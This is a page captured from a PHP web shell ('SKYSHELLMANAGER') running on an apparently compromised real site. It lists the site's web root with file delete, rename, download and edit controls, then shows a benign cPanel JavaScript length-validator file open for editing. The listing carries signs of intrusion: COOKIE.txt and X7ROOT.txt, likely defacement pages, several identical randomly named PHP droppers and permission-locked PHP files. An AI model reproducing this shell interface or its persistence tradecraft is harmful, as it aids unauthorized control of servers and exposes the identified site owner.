ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30

Path:root/home/qooetu/costes.qooetu.com/

Name	Size	Perm	Actions
📁 .well-known	-	0755	🗑️ 🏷️
📁 2e19d9	-	0755	🗑️ 🏷️
📁 6b114	-	0755	🗑️ 🏷️
📁 Modules	-	0755	🗑️ 🏷️
📁 app	-	0755	🗑️ 🏷️
📁 assets	-	0755	🗑️ 🏷️
📁 bootstrap	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 config	-	0755	🗑️ 🏷️
📁 css	-	0755	🗑️ 🏷️
📁 database	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 nbproject	-	0755	🗑️ 🏷️
📁 public	-	0755	🗑️ 🏷️
📁 resources	-	0755	🗑️ 🏷️
📁 routes	-	0755	🗑️ 🏷️
📁 storage	-	0755	🗑️ 🏷️
📁 tests	-	0755	🗑️ 🏷️
📁 uploads	-	0755	🗑️ 🏷️
📁 vendor	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📄 .htaccess	0.23 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 COOKIE.txt	0.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 X7ROOT.txt	0.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 defaults.php	1.29 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 engine.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	813.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 features.php	11.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 googlecfb82e09419fc0f6.html	0.05 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php0	1.56 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 inputs.php	0.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 kurd.html	1.07 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 library.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 min.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 p.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 php.ini	0.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 product.php	1.78 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 qpmwztts.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.32 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 tovmbkwh.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 tyyffovi.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 veoxv.html	1.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: length-validators.js

/*
# length-validators.js                            Copyright(c) 2020 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited
*/

/* --------------------------*/
/* DEFINE GLOBALS FOR LINT
/*--------------------------*/
/* global define: false     */
/* --------------------------*/

/**
 * This module has a collection of length validators
 *
 * @module length-validators
 * @requires angular, lodash, validator-utils, validate, locale
 */

define([
    "angular",
    "lodash",
    "cjt/validator/validator-utils",
    "cjt/util/locale",
    "cjt/util/string",
    "cjt/validator/validateDirectiveFactory",
],
function(angular, _, UTILS, LOCALE, STRING) {
    "use strict";

var validators = {

/**
             * Validates the length of the text
             *
             * @method length
             * @param {String} val Text to validate
             * @param {Number} length required length
             * @return {Object} Validation result
             */
        length: function(val, length) {
            var result = UTILS.initializeValidationResult();

if (val.length !== length) {
                result.isValid = false;
                result.add("length", LOCALE.maketext("The length of the string should be [quant,_1,character,characters,zero].", length));
                return result;
            }

return result;
        },

/**
             * Validates if the length of the text does not exceed a certain length
             * @method maxLength
             * @param {String} val Text to validate
             * @param {Number} maxLength The maximum length of the input value
             * @return {Object} Validation result
             */
        maxLength: function(val, maxLength) {
            var result = UTILS.initializeValidationResult();

if (val.length > maxLength) {
                result.isValid = false;
                result.add("maxLength", LOCALE.maketext("The length of the string cannot be greater than [quant,_1,character,characters].", maxLength));
                return result;
            }

return result;
        },

maxUTF8Length: function(val, maxLength) {

// Give the simplest error message possible.
            // Any string whose UCS-2 character count exceeds maxLength
            // will always exceed the UTF-8 byte limit as well.
            // In that case let’s use the simpler error message.
            //
            if (val.length > maxLength) {
                return validators.maxLength(val, maxLength);
            }

// We’re not out of the woods yet. If I have, e.g., 200 “é”
            // characters, that’s 400 bytes of UTF-8, which we need
            // to reject. Unfortunately more technical lingo is necessary
            // to describe this problem. :(

var result = UTILS.initializeValidationResult();

if (STRING.getUTF8ByteCount(val) > maxLength) {
                result.isValid = false;

// We got here because even though val.length is under
                // our numeric limit, the actual UTF-8 byte count
                // exceeds that limit. This is a tricky thing to explain
                // concisely in non-technical terms.

result.add("maxUTF8Length", LOCALE.maketext("This string is too long or complex. Shorten it, or replace complex (non-[asis,ASCII]) characters with simple ([asis,ASCII]) ones. (The string’s [asis,UTF-8] encoding cannot exceed [quant,_1,byte,bytes].)", maxLength));
            }

return result;
        },

/**
             * Validates if the input has a minimum length
             *
             * @method minLength
             * @param {String} val Text to validate
             * @param {Number} minLength The minimum length of the input value
             * @return {Object} Validation result
             */
        minLength: function(val, minLength) {
            var result = UTILS.initializeValidationResult();

if (val.length < minLength) {
                result.isValid = false;
                result.add("minLength", LOCALE.maketext("The length of the string cannot be less than [quant,_1,character,characters].", minLength));
                return result;
            }

return result;
        },

/**
             * Validates if the minimum number of items are selected
             *
             * @method minSelect
             * @param {String} val Text to validate
             * @param {Number} minSelections The minimum number of selections needed
             * @return {Object} Validation result
             */
        minSelect: function(val, minSelections) {
            var result = UTILS.initializeValidationResult(),
                selected;

if (val !== null && _.isArray(val)) {
                selected = val.length;
            }

if (selected < minSelections) {
                result.isValid = false;
                result.add("minSelect", LOCALE.maketext("Select at least [quant,_1,item,items] from the list.", minSelections));
                return result;
            }

return result;
        },
    };

// Generate a directive for each validation function
    var validatorModule = angular.module("cjt2.validate");
    validatorModule.run(["validatorFactory",
        function(validatorFactory) {
            validatorFactory.generate(validators);
        },
    ]);

return {
        methods: validators,
        name: "length-validators",
        description: "Validation library for length measurement of strings.",
        version: 2.0,
    };
});

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.2.30

Edit: length-validators.js

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30